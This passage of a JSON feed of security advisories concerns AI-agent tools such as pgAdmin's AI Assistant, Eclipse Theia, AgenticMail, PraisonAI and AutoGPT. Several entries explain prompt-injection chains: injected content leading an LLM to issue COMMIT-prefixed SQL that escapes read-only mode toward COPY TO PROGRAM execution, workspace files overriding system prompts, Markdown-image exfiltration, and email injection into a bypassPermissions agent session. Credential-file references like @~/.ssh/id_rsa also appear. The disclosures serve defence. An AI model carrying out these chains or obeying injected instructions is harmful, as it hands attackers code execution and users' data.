PROGRAM.\n\nFix validates the LLM-supplied query up front: it must parse to exactly one non-empty \/ non-comment statement whose leading real token (after stripping whitespace, comments, and punctuation) is one of SELECT, WITH, EXPLAIN, SHOW, VALUES, or TABLE. Transaction-control verbs, DML, DDL, CALL, COPY, DO, SET\/RESET, and everything else are rejected before any database work happens. PostgreSQL's READ ONLY mode continues to backstop data-modifying CTEs, EXPLAIN ANALYZE on writes, and volatile side effects.\n\nThis issue affects pgAdmin 4: from 9.13 before 9.16.",
            "summary": "Read-only transaction bypass in the pgAdmin 4 AI Assistant allows an attacker who can influence database content that the assistant reads to execute arbitrary SQL with the privileges of the pgAdmin user's database role.\n\nThe AI Assistant's execute_sql_query tool runs LLM-generated SQL inside a BEGIN TRANSACTION READ ONLY wrapper to prevent data modification. The LLM-supplied query was forwarded to the database driver without restriction to a single statement or to read-only verbs, so a multi-statement payload beginning with COMMIT, END, ROLLBACK, or ABORT terminated the read-only transaction and ran subsequent statements in autocommit mode. The trailing ROLLBACK then had no effect.\n\nDelivery is via prompt injection: an attacker who can write content into any object the AI Assistant may inspect (a row, a column value, a comment) can cause the LLM to emit the multi-statement payload as a tool call. With ordinary write privileges on the pgAdmin user's role the attacker can perform unauthorised data modification. When the pgAdmin user's role is a PostgreSQL superuser or holds pg_execute_server_program, the chain extends to remote code execution on the database server host via COPY ... TO PROGRAM.\n\nFix validates the LLM-supplied query up front: it must parse to exactly one non-empty \/ non-comment statement whose leading real token (after stripping whitespace, comments, and punctuation) is one of SELECT, WITH, EXPLAIN, SHOW, VALUES, or TABLE. Transaction-control verbs, DML, DDL, CALL, COPY, DO, SET\/RESET, and everything else are rejected before any database work happens. PostgreSQL's READ ONLY mode continues to backstop data-modifying CTEs, EXPLAIN ANALYZE on writes, and volatile side effects.\n\nThis issue affects pgAdmin 4: from 9.13 before 9.16.",
            "date_published": "2026-06-19T12:00:31+00:00",
            "date_modified": "2026-06-19T12:00:31+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019edd2e-1a53-732c-b517-43752f6958a7",
            "title": "CVE-2026-56075: PraisonAI before 4.5.128 contains an arbitrary shell command execution vulnerability where the UI modules hardcode appro",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56075",
            "content_html": "PraisonAI before 4.5.128 contains an arbitrary shell command execution vulnerability where the UI modules hardcode approval_mode to auto, overriding administrator configuration from PRAISON_APPROVAL_MODE environment variable. Authenticated attackers can instruct the LLM agent to execute arbitrary shell commands via subprocess.run with shell=True, bypassing the manual approval gate and insufficient command sanitization blocklists.",
            "summary": "PraisonAI before 4.5.128 contains an arbitrary shell command execution vulnerability where the UI modules hardcode approval_mode to auto, overriding administrator configuration from PRAISON_APPROVAL_MODE environment variable. Authenticated attackers can instruct the LLM agent to execute arbitrary shell commands via subprocess.run with shell=True, bypassing the manual approval gate and insufficient command sanitization blocklists.",
            "date_published": "2026-06-19T12:00:31+00:00",
            "date_modified": "2026-06-19T12:00:31+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019edd2e-1a3a-7189-a9a2-e3aa6a6629d6",
            "title": "CVE-2026-54130: Missing authentication for critical function in M365 Copilot allows an unauthorized attacker to disclose information ove",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54130",
            "content_html": "Missing authentication for critical function in M365 Copilot allows an unauthorized attacker to disclose information over a network.",
            "summary": "Missing authentication for critical function in M365 Copilot allows an unauthorized attacker to disclose information over a network.",
            "date_published": "2026-06-19T12:00:31+00:00",
            "date_modified": "2026-06-19T12:00:31+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019edd2e-1a28-7302-856e-f986e579d4b7",
            "title": "CVE-2026-49257: mcp-pinot is a Python-based Model Context Protocol (MCP) server for interacting with Apache Pinot. In versions 3.0.1 and",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49257",
            "content_html": "mcp-pinot is a Python-based Model Context Protocol (MCP) server for interacting with Apache Pinot. In versions 3.0.1 and below, mcp-pinot defaults to running an HTTP MCP server bound to 0.0.0.0:8080 with no authentication enabled. All MCP tools, including SQL query execution, schema creation, and table-config mutation, are reachable by any network-adjacent caller. The server proxies these calls using server-side Pinot credentials, producing a confused-deputy condition that yields full read\/write access to the configured Pinot cluster. This issue has been fixed in version 3.1.0",
            "summary": "mcp-pinot is a Python-based Model Context Protocol (MCP) server for interacting with Apache Pinot. In versions 3.0.1 and below, mcp-pinot defaults to running an HTTP MCP server bound to 0.0.0.0:8080 with no authentication enabled. All MCP tools, including SQL query execution, schema creation, and table-config mutation, are reachable by any network-adjacent caller. The server proxies these calls using server-side Pinot credentials, producing a confused-deputy condition that yields full read\/write access to the configured Pinot cluster. This issue has been fixed in version 3.1.0",
            "date_published": "2026-06-19T12:00:31+00:00",
            "date_modified": "2026-06-19T12:00:31+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019edd64-5ca4-72dd-93ea-dde7de54d806",
            "title": "gemini-mcp-tool vulnerable to OS command injection and @file exfiltration via prompt quoting (CVE-2026-0755)",
            "url": "https://github.com/advisories/GHSA-4h5r-5jm8-jxjm",
            "content_html": "Untrusted prompt input could reach the Gemini CLI @file parser, allowing read\/exfiltration of arbitrary local files (@\/etc\/passwd, @~\/.ssh\/id_rsa, @..\/..\/secret). On Windows, unquoted cmd.exe metacharacters could break out into OS command injection.\n\nFix (1.1.6): removed the broken shell:false double-quote wrapping; added assertSafeFileReferences() to contain @file refs to the working directory; hardened Windows cmd.exe argument quoting.",
            "summary": "Untrusted prompt input could reach the Gemini CLI @file parser, allowing read\/exfiltration of arbitrary local files (@\/etc\/passwd, @~\/.ssh\/id_rsa, @..\/..\/secret). On Windows, unquoted cmd.exe metacharacters could break out into OS command injection.\n\nFix (1.1.6): removed the broken shell:false double-quote wrapping; added assertSafeFileReferences() to contain @file refs to the working directory; hardened Windows cmd.exe argument quoting.",
            "date_published": "2026-06-19T01:00:02+00:00",
            "date_modified": "2026-06-19T01:00:02+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-c045-7057-8f55-13e35af32bdc",
            "title": "[Eclipse Theia] Indirect Prompt Injection via Auto-Loaded Workspace Prompt Template Files in AI Chat",
            "url": "https://github.com/advisories/GHSA-m973-pr9r-hp2w",
            "content_html": "In Eclipse Theia versions prior to 1.71.0, files matching the pattern .prompts\/*.prompttemplate in a workspace were automatically loaded and could override or extend the AI agent's system prompts. An attacker could craft a malicious repository containing prompt template files that, when the workspace was opened in Theia, replaced the AI's system instructions with attacker-controlled content (indirect prompt injection). Combined with other AI chat features available in untrusted workspaces, this enabled attack chains leading to data exfiltration via Markdown image rendering or arbitrary command execution via task definitions.",
            "summary": "In Eclipse Theia versions prior to 1.71.0, files matching the pattern .prompts\/*.prompttemplate in a workspace were automatically loaded and could override or extend the AI agent's system prompts. An attacker could craft a malicious repository containing prompt template files that, when the workspace was opened in Theia, replaced the AI's system instructions with attacker-controlled content (indirect prompt injection). Combined with other AI chat features available in untrusted workspaces, this enabled attack chains leading to data exfiltration via Markdown image rendering or arbitrary command execution via task definitions.",
            "date_published": "2026-06-20T01:00:04+00:00",
            "date_modified": "2026-06-20T01:00:04+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-c054-73bc-bfc5-16988b78799a",
            "title": "[Eclipse Theia] Data Exfiltration via Markdown Image Rendering in AI Chat",
            "url": "https://github.com/advisories/GHSA-qwjm-9c66-w4q4",
            "content_html": "In Eclipse Theia versions prior to 1.71.0, the AI chat rendered Markdown image tags from AI responses, triggering HTTP requests to arbitrary external URLs without restriction. Combined with prompt injection in a malicious workspace, an attacker could induce the AI agent to construct image URLs encoding sensitive information from the workspace or conversation context, exfiltrating it to attacker-controlled servers. The workspace trust enforcement introduced in v1.71.0 mitigates the documented attack chain by disabling AI features in untrusted workspaces.",
            "summary": "In Eclipse Theia versions prior to 1.71.0, the AI chat rendered Markdown image tags from AI responses, triggering HTTP requests to arbitrary external URLs without restriction. Combined with prompt injection in a malicious workspace, an attacker could induce the AI agent to construct image URLs encoding sensitive information from the workspace or conversation context, exfiltrating it to attacker-controlled servers. The workspace trust enforcement introduced in v1.71.0 mitigates the documented attack chain by disabling AI features in untrusted workspaces.",
            "date_published": "2026-06-20T01:00:04+00:00",
            "date_modified": "2026-06-20T01:00:04+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-c04e-7107-ab72-b22e79ca836a",
            "title": "[Eclipse Theia] Indirect Prompt Injection via Adversarial Workspace File and Directory Names in AI Chat",
            "url": "https://github.com/advisories/GHSA-3jww-hxqj-wfq2",
            "content_html": "In Eclipse Theia versions prior to 1.71.0, the AI chat agent processed workspace file and directory names as part of its prompt context without distinguishing them from system instructions. An attacker could craft a malicious repository with adversarial directory or file names that, when analyzed by the AI agent, would cause the agent to follow attacker-controlled instructions (indirect prompt injection). Combined with other AI chat features available in untrusted workspaces, this enabled attack chains leading to data exfiltration via Markdown image rendering or arbitrary command execution via task definitions.",
            "summary": "In Eclipse Theia versions prior to 1.71.0, the AI chat agent processed workspace file and directory names as part of its prompt context without distinguishing them from system instructions. An attacker could craft a malicious repository with adversarial directory or file names that, when analyzed by the AI agent, would cause the agent to follow attacker-controlled instructions (indirect prompt injection). Combined with other AI chat features available in untrusted workspaces, this enabled attack chains leading to data exfiltration via Markdown image rendering or arbitrary command execution via task definitions.",
            "date_published": "2026-06-20T01:00:04+00:00",
            "date_modified": "2026-06-20T01:00:04+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019edd64-5cbd-705b-930d-d1ff50ef65d2",
            "title": "AgenticMail: Unauthenticated inbound mail triggers bypassPermissions resume of the operator's Claude Code session (bridge-wake)",
            "url": "https://github.com/advisories/GHSA-fq4x-789w-jg5h",
            "content_html": "## Summary\nTwo inbound-mail handlers act on a privileged effect without verifying that the sender is the operator, while a sibling handler in the same repo does. The higher-impact one: any external email routed to the bridge inbox causes the dispatcher to resume the operator's Claude Code session with `permissionMode: 'bypassPermissions'`, embedding the attacker-controlled `from`\/`subject`\/`preview` verbatim into the prompt the resumed agent reads \u2014 an indirect prompt injection into a fully-privileged agent (Bash\/Write\/Edit\/WebFetch + the agenticmail MCP toolbelt) running as the operator's OAuth identity. The sibling operator-query email-reply hook gates the same untrusted-From provenance with `isOperatorReplySender(replyFrom, config.operatorEmail)` (fail-closed); the bridge-wake path \u2014 a strictly higher-privilege effect \u2014 has no equivalent.\n\n## Affected code (current HEAD, commit b95f52e)\nUntrusted provenance: external inbound email enters at `packages\/api\/src\/routes\/inbound.ts:41` (POST \/mail\/inbound); the `x-inbound-secret` authenticates only the relay->API hop, not the external sender, so `from`\/`subject`\/`preview` are attacker-controlled.\n\nPrivileged sink (bridge-wake, bypassPermissions):\n- `packages\/claudecode\/src\/dispatcher.ts:2040` `handleBridgeMail` extracts `subject`\/`from`\/`preview` (`:2045-2049`) and calls `planBridgeWake({ session, mail: { ..., from, preview } })` (`:2052`) with NO sender check \u2014 routing keys only on session freshness (skip-live \/ escalate \/ resume).\n- `planBridgeWake` -> `packages\/core\/src\/host-bridge.ts:141` `composeBridgeWakePrompt` embeds the untrusted `from`\/`subject`\/`preview` (preview sliced to 600 chars at `:144`) verbatim into the prompt.\n- `packages\/claudecode\/src\/bridge-wake.ts:103` `resumeBridgeSession` runs the prompt via the Claude Code SDK with `permissionMode: 'bypassPermissions'` against the operator's last session (resume + same mcpServers).\n\nGuarded sibling (same class, authenticated): `packages\/api\/src\/routes\/inbound.ts:102` rejects an operator-query email reply unless `isOperatorReplySender(replyFrom, config.operatorEmail)` (def `packages\/core\/src\/phone\/realtime-tools.ts:999`, fail-closed when no operatorEmail), with a v0.9.53 security-review comment (`inbound.ts:93-100`) stating inbound mail provenance is untrusted and an emailed answer is only honored when its From matches the configured operator. The Telegram sibling likewise gates on `operatorChatId`. The bridge-wake path ignores this exact lesson.\n\nSecondary instance (same root cause): `packages\/core\/src\/gateway\/manager.ts:261` `tryProcessApprovalReply` releases a held outbound email on an \"approve\" reply matched only by `In-Reply-To` \/ `notification_message_id`, with no sender check \u2014 again unlike the `isOperatorReplySender` sibling.\n\n## Impact\nIn a configured headless-bridge deployment (operator uses the CLI so a host-session is saved; session fresh  arbitrary OS command execution, filesystem read\/write, and exfiltration under the operator's OAuth identity. The auth gap (no sender check on the bridge path) is structural and unconditional; the impact realization is config-conditional and depends on the resumed model following injected instructions.\n\n## Proof of concept (static \/ request-difference; dynamic on operator's OWN setup only)\nStatic: the from\/subject\/preview extracted at dispatcher.ts:2045-2049 flow into composeBridgeWakePrompt (host-bridge.ts:141) and resumeBridgeSession (bridge-wake.ts:103) with no interposed sender check, while the sibling inbound.ts:102 has one \u2014 the same untrusted-From provenance is authenticated on one privileged email path and not on the higher-privileged one. Dynamic (own instance only): with a configured bridge + fresh host-session, send mail from a non-operator address into the bridge inbox whose subject\/preview contains a benign instruction writing a fresh CSPRNG marker; observe the resumed bypassPermissions session act on it. Use only your own instance; do not target third-party deployments.\n\n## Suggested fix\nMirror the guarded sibling: before any `bypassPermissions` resume (dispatcher.ts handleBridgeMail, before planBridgeWake), require trusted provenance \u2014 an internal sub-agent wake OR `isOperatorReplySender(from, config.operatorEmail)`; otherwise deliver the mail normally but do NOT resume. Reuse the existing exported `isOperatorReplySender` from @agenticmail\/core so the two privileged email paths share one authentication helper. Defense-in-depth: in composeBridgeWakePrompt, wrap the untrusted fields in explicit untrusted-data delimiters and drop `bypassPermissions` for mail-triggered resumes whose provenance is not the operator. Apply the same sender gate to `tryProcessApprovalReply` (manager.ts:261).\n\n## Affected versions\nPresent on current HEAD (core 0.9.42 \/ claudecode 0.2.38, commit b95f52e). No fix retrofits the sender check onto bridge-wake.\n\n## Severity (honest, both ways)\nHIGH, plausibly CRITICAL in a configured headless-bridge deployment. Ceiling ~9.0 (unauthenticated external sender -> operator-privileged code execution). Floor ~7.0: the auth gap is unconditional, but full impact requires (1) a fresh",
            "summary": "## Summary\nTwo inbound-mail handlers act on a privileged effect without verifying that the sender is the operator, while a sibling handler in the same repo does. The higher-impact one: any external email routed to the bridge inbox causes the dispatcher to resume the operator's Claude Code session with `permissionMode: 'bypassPermissions'`, embedding the attacker-controlled `from`\/`subject`\/`preview` verbatim into the prompt the resumed agent reads \u2014 an indirect prompt injection into a fully-privileged agent (Bash\/Write\/Edit\/WebFetch + the agenticmail MCP toolbelt) running as the operator's OAuth identity. The sibling operator-query email-reply hook gates the same untrusted-From provenance with `isOperatorReplySender(replyFrom, config.operatorEmail)` (fail-closed); the bridge-wake path \u2014 a strictly higher-privilege effect \u2014 has no equivalent.\n\n## Affected code (current HEAD, commit b95f52e)\nUntrusted provenance: external inbound email enters at `packages\/api\/src\/routes\/inbound.ts:41` (POST \/mail\/inbound); the `x-inbound-secret` authenticates only the relay->API hop, not the external sender, so `from`\/`subject`\/`preview` are attacker-controlled.\n\nPrivileged sink (bridge-wake, bypassPermissions):\n- `packages\/claudecode\/src\/dispatcher.ts:2040` `handleBridgeMail` extracts `subject`\/`from`\/`preview` (`:2045-2049`) and calls `planBridgeWake({ session, mail: { ..., from, preview } })` (`:2052`) with NO sender check \u2014 routing keys only on session freshness (skip-live \/ escalate \/ resume).\n- `planBridgeWake` -> `packages\/core\/src\/host-bridge.ts:141` `composeBridgeWakePrompt` embeds the untrusted `from`\/`subject`\/`preview` (preview sliced to 600 chars at `:144`) verbatim into the prompt.\n- `packages\/claudecode\/src\/bridge-wake.ts:103` `resumeBridgeSession` runs the prompt via the Claude Code SDK with `permissionMode: 'bypassPermissions'` against the operator's last session (resume + same mcpServers).\n\nGuarded sibling (same class, authenticated): `packages\/api\/src\/routes\/inbound.ts:102` rejects an operator-query email reply unless `isOperatorReplySender(replyFrom, config.operatorEmail)` (def `packages\/core\/src\/phone\/realtime-tools.ts:999`, fail-closed when no operatorEmail), with a v0.9.53 security-review comment (`inbound.ts:93-100`) stating inbound mail provenance is untrusted and an emailed answer is only honored when its From matches the configured operator. The Telegram sibling likewise gates on `operatorChatId`. The bridge-wake path ignores this exact lesson.\n\nSecondary instance (same root cause): `packages\/core\/src\/gateway\/manager.ts:261` `tryProcessApprovalReply` releases a held outbound email on an \"approve\" reply matched only by `In-Reply-To` \/ `notification_message_id`, with no sender check \u2014 again unlike the `isOperatorReplySender` sibling.\n\n## Impact\nIn a configured headless-bridge deployment (operator uses the CLI so a host-session is saved; session fresh  arbitrary OS command execution, filesystem read\/write, and exfiltration under the operator's OAuth identity. The auth gap (no sender check on the bridge path) is structural and unconditional; the impact realization is config-conditional and depends on the resumed model following injected instructions.\n\n## Proof of concept (static \/ request-difference; dynamic on operator's OWN setup only)\nStatic: the from\/subject\/preview extracted at dispatcher.ts:2045-2049 flow into composeBridgeWakePrompt (host-bridge.ts:141) and resumeBridgeSession (bridge-wake.ts:103) with no interposed sender check, while the sibling inbound.ts:102 has one \u2014 the same untrusted-From provenance is authenticated on one privileged email path and not on the higher-privileged one. Dynamic (own instance only): with a configured bridge + fresh host-session, send mail from a non-operator address into the bridge inbox whose subject\/preview contains a benign instruction writing a fresh CSPRNG marker; observe the resumed bypassPermissions session act on it. Use only your own instance; do not target third-party deployments.\n\n## Suggested fix\nMirror the guarded sibling: before any `bypassPermissions` resume (dispatcher.ts handleBridgeMail, before planBridgeWake), require trusted provenance \u2014 an internal sub-agent wake OR `isOperatorReplySender(from, config.operatorEmail)`; otherwise deliver the mail normally but do NOT resume. Reuse the existing exported `isOperatorReplySender` from @agenticmail\/core so the two privileged email paths share one authentication helper. Defense-in-depth: in composeBridgeWakePrompt, wrap the untrusted fields in explicit untrusted-data delimiters and drop `bypassPermissions` for mail-triggered resumes whose provenance is not the operator. Apply the same sender gate to `tryProcessApprovalReply` (manager.ts:261).\n\n## Affected versions\nPresent on current HEAD (core 0.9.42 \/ claudecode 0.2.38, commit b95f52e). No fix retrofits the sender check onto bridge-wake.\n\n## Severity (honest, both ways)\nHIGH, plausibly CRITICAL in a configured headless-bridge deployment. Ceiling ~9.0 (unauthenticated external sender -> operator-privileged code execution). Floor ~7.0: the auth gap is unconditional, but full impact requires (1) a fresh",
            "date_published": "2026-06-19T01:00:02+00:00",
            "date_modified": "2026-06-19T01:00:02+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019edd64-5cc1-731a-93b8-eda6e10e73da",
            "title": "AgenticMail: Cross-agent task authorization bypass in AgenticMail API",
            "url": "https://github.com/advisories/GHSA-hjwc-26pj-v3pm",
            "content_html": "## Summary\n\nA low-privileged authenticated AgenticMail agent can enumerate another agent's pending\/claimed tasks by supplying the target agent name to `GET \/api\/agenticmail\/tasks\/pending?assignee=`. The returned task objects include the task IDs and payloads. The same task IDs can then be used with the capability-style task mutation endpoints (`\/tasks\/:id\/claim`, `\/tasks\/:id\/result`, `\/tasks\/:id\/complete`, `\/tasks\/:id\/fail`) to claim, complete, or fail tasks assigned to a different agent.\n\nBecause ordinary authenticated agents can discover agent names through `GET \/api\/agenticmail\/accounts\/directory`, the task ID effectively stops being a secret capability. This turns the intended capability model into a cross-agent authorization bypass.\n\n## Affected component\n\nPackage: `@agenticmail\/api`\nObserved version: `0.9.62`\nRepository: `agenticmail\/agenticmail`\n\nRelevant code paths:\n\n- `packages\/api\/src\/app.ts`: `createAuthMiddleware(...)` is mounted before `createAccountRoutes(...)` and `createTaskRoutes(...)`, so these routes are reachable by any valid bearer token.\n- `packages\/api\/src\/routes\/accounts.ts`: `GET \/accounts\/directory` is available to any authenticated user and returns agent names.\n- `packages\/api\/src\/routes\/tasks.ts`: `GET \/tasks\/pending?assignee=name` resolves arbitrary agent names and returns that agent's pending\/claimed tasks.\n- `packages\/api\/src\/routes\/tasks.ts`: `\/tasks\/:id\/claim`, `\/tasks\/:id\/result`, `\/tasks\/:id\/complete`, `\/tasks\/:id\/fail`, and `\/tasks\/:id` do not check whether the authenticated caller is the task assignee, assigner, or otherwise authorized for the task.\n\n## Impact\n\nAn attacker only needs a valid agent API key. They can:\n\n1. List agent names using `\/accounts\/directory`.\n2. Query another agent's task queue using `\/tasks\/pending?assignee=`.\n3. Read sensitive task payloads intended for the victim agent.\n4. Use the disclosed task ID to complete\/fail\/claim the victim's task or submit attacker-controlled results.\n\n## Local reproduction\n\nI reproduced this locally with a focused Vitest test mounted directly on `createTaskRoutes`. The test creates two agents, Alice and Bob, and one pending task assigned to Bob. Alice authenticates with her own agent key and performs the following sequence:\n\n1. `GET \/api\/agenticmail\/tasks\/pending?assignee=Bob` with `Authorization: Bearer ak_alice`.\n2. The response is HTTP 200 and includes Bob's task ID and payload: `task-for-bob`, `{ \"task\": \"secret task intended for Bob\" }`.\n3. Alice then sends `POST \/api\/agenticmail\/tasks\/task-for-bob\/complete` with her own bearer token and an attacker-controlled result.\n4. The task status becomes `completed` and the stored result is controlled by Alice.\n\nThe local verification command was:\n\n```bash\nnpm run test --workspace=@agenticmail\/api -- task-routes-authz.test.ts\n```\n\nResult:\n\n```text\nPASS src\/__tests__\/task-routes-authz.test.ts (1 test)\n```\n\n## Expected behavior\n\nTask listing and task mutation endpoints should enforce an authorization relationship between the authenticated caller and the task. For example:\n\n- `GET \/tasks\/pending?assignee=` should either be restricted to the current agent, master\/admin callers, or an explicit delegated relationship.\n- `\/tasks\/:id\/claim`, `\/tasks\/:id\/result`, `\/tasks\/:id\/complete`, `\/tasks\/:id\/fail`, and `\/tasks\/:id` should verify that the caller is the assignee, assigner, master\/admin, or otherwise explicitly authorized.\n- If capability-based task IDs are retained, the API should not expose those IDs to unrelated agents through the assignee-name listing path.\n\n## Credit\n\nPlease credit the finder as: Yaohui Wang",
            "summary": "## Summary\n\nA low-privileged authenticated AgenticMail agent can enumerate another agent's pending\/claimed tasks by supplying the target agent name to `GET \/api\/agenticmail\/tasks\/pending?assignee=`. The returned task objects include the task IDs and payloads. The same task IDs can then be used with the capability-style task mutation endpoints (`\/tasks\/:id\/claim`, `\/tasks\/:id\/result`, `\/tasks\/:id\/complete`, `\/tasks\/:id\/fail`) to claim, complete, or fail tasks assigned to a different agent.\n\nBecause ordinary authenticated agents can discover agent names through `GET \/api\/agenticmail\/accounts\/directory`, the task ID effectively stops being a secret capability. This turns the intended capability model into a cross-agent authorization bypass.\n\n## Affected component\n\nPackage: `@agenticmail\/api`\nObserved version: `0.9.62`\nRepository: `agenticmail\/agenticmail`\n\nRelevant code paths:\n\n- `packages\/api\/src\/app.ts`: `createAuthMiddleware(...)` is mounted before `createAccountRoutes(...)` and `createTaskRoutes(...)`, so these routes are reachable by any valid bearer token.\n- `packages\/api\/src\/routes\/accounts.ts`: `GET \/accounts\/directory` is available to any authenticated user and returns agent names.\n- `packages\/api\/src\/routes\/tasks.ts`: `GET \/tasks\/pending?assignee=name` resolves arbitrary agent names and returns that agent's pending\/claimed tasks.\n- `packages\/api\/src\/routes\/tasks.ts`: `\/tasks\/:id\/claim`, `\/tasks\/:id\/result`, `\/tasks\/:id\/complete`, `\/tasks\/:id\/fail`, and `\/tasks\/:id` do not check whether the authenticated caller is the task assignee, assigner, or otherwise authorized for the task.\n\n## Impact\n\nAn attacker only needs a valid agent API key. They can:\n\n1. List agent names using `\/accounts\/directory`.\n2. Query another agent's task queue using `\/tasks\/pending?assignee=`.\n3. Read sensitive task payloads intended for the victim agent.\n4. Use the disclosed task ID to complete\/fail\/claim the victim's task or submit attacker-controlled results.\n\n## Local reproduction\n\nI reproduced this locally with a focused Vitest test mounted directly on `createTaskRoutes`. The test creates two agents, Alice and Bob, and one pending task assigned to Bob. Alice authenticates with her own agent key and performs the following sequence:\n\n1. `GET \/api\/agenticmail\/tasks\/pending?assignee=Bob` with `Authorization: Bearer ak_alice`.\n2. The response is HTTP 200 and includes Bob's task ID and payload: `task-for-bob`, `{ \"task\": \"secret task intended for Bob\" }`.\n3. Alice then sends `POST \/api\/agenticmail\/tasks\/task-for-bob\/complete` with her own bearer token and an attacker-controlled result.\n4. The task status becomes `completed` and the stored result is controlled by Alice.\n\nThe local verification command was:\n\n```bash\nnpm run test --workspace=@agenticmail\/api -- task-routes-authz.test.ts\n```\n\nResult:\n\n```text\nPASS src\/__tests__\/task-routes-authz.test.ts (1 test)\n```\n\n## Expected behavior\n\nTask listing and task mutation endpoints should enforce an authorization relationship between the authenticated caller and the task. For example:\n\n- `GET \/tasks\/pending?assignee=` should either be restricted to the current agent, master\/admin callers, or an explicit delegated relationship.\n- `\/tasks\/:id\/claim`, `\/tasks\/:id\/result`, `\/tasks\/:id\/complete`, `\/tasks\/:id\/fail`, and `\/tasks\/:id` should verify that the caller is the assignee, assigner, master\/admin, or otherwise explicitly authorized.\n- If capability-based task IDs are retained, the API should not expose those IDs to unrelated agents through the assignee-name listing path.\n\n## Credit\n\nPlease credit the finder as: Yaohui Wang",
            "date_published": "2026-06-19T01:00:02+00:00",
            "date_modified": "2026-06-19T01:00:02+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019edd2e-1a16-72e0-8fc2-3a223635de29",
            "title": "CVE-2026-55237: AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agent",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55237",
            "content_html": "AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Versions prior to 0.6.62 have a DOM-based Cross-Site Scripting (XSS) vulnerability in AutoGPT's signup page. The application improperly trusts a URL parameter (`next`), which is passed to `router.push`. An attacker can craft a malicious link that, when opened by an authenticated user, performs a client-side redirect and executes arbitrary JavaScript in the context of their browser. This could lead to credential theft, internal network pivoting, and unauthorized actions performed on behalf of the victim. Version 0.6.62 patches the issue.",
            "summary": "AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Versions prior to 0.6.62 have a DOM-based Cross-Site Scripting (XSS) vulnerability in AutoGPT's signup page. The application improperly trusts a URL parameter (`next`), which is passed to `router.push`. An attacker can craft a malicious link that, when opened by an authenticated user, performs a client-side redirect and executes arbitrary JavaScript in the context of their browser. This could lead to credential theft, internal network pivoting, and unauthorized actions performed on behalf of the victim. Version 0.6.62 patches the issue.",
            "date_published": "2026-06-19T12:00:31+00:00",
            "date_modified": "2026-06-19T12:00:31+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019edd2e-1a06-71e9-8f8e-d352ac5adb3b",
            "title": "CVE-2025-32437: AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agent",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32437",
            "content_html": "AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Prior to 0.6.63, `MediaDurationBlock` will download and store the video in a temporary directory without deleting before all noded are done. `StepThroughItemsBlock` can be used to iterate `MediaDurationBlock` multiple times. `StepThroughItemsBlock` does not limit the number of loops. In addition, `MediaDurationBlock ` does not limit the amount of disk space consumed in the current working directory and does not delete the video after outputing the result. When a malicious user chooses to screen shot many web pages, the disk space will eventually run out, causing a DoS. Version 0.6.63 patches the issue.",
            "summary": "AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Prior to 0.6.63, `MediaDurationBlock` will download and store the video in a temporary directory without deleting before all noded are done. `StepThroughItemsBlock` can be used to iterate `MediaDurationBlock` multiple times. `StepThroughItemsBlock` does not limit the number of loops. In addition, `MediaDurationBlock ` does not limit the amount of disk space consumed in the current working directory and does not delete the video after outputing the result. When a malicious user chooses to screen shot many web pages, the disk space will eventually run out, causing a DoS. Version 0.6.63 patches the issue.",
            "date_published": "2026-06-19T12:00:31+00:00",
            "date_modified": "2026-06-19T12:00:31+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019edd2e-19fc-7222-b599-80122a3dd91b",
            "title": "CVE-2025-32436: AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agent",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32436",
            "content_html": "AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Prior to 0.6.63, `AddAudioToVideoBlock` will download and store the video and audio in a temporary directory without deleting before all noded are done. `StepThroughItemsBlock` can be used to iterate `MediaDurationBlock` multiple times. `StepThroughItemsBlock` does not limit the number of loops. In addition, `AddAudioToVideoBlock` does not limit the amount of disk space consumed in the current working directory and does not delete the video after outputing the result. When a malicious user chooses to screen shot many web pages, the disk space will eventually run out, causing a DoS. Version 0.6.63 patches the issue.",
            "summary": "AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Prior to 0.6.63, `AddAudioToVideoBlock` will download and store the video and audio in a temporary directory without deleting before all noded are done. `StepThroughItemsBlock` can be used to iterate `MediaDurationBlock` multiple times. `StepThroughItemsBlock` does not limit the number of loops. In addition, `AddAudioToVideoBlock` does not limit the amount of disk space consumed in the current working directory and does not delete the video after outputing the result. When a malicious user chooses to screen shot many web pages, the disk space will eventually run out, causing a DoS. Version 0.6.63 patches the issue.",
            "date_published": "2026-06-19T12:00:31+00:00",
            "date_modified": "2026-06-19T12:00:31+00:00",
            "authors": [{ "name": "VulnWatch" }],
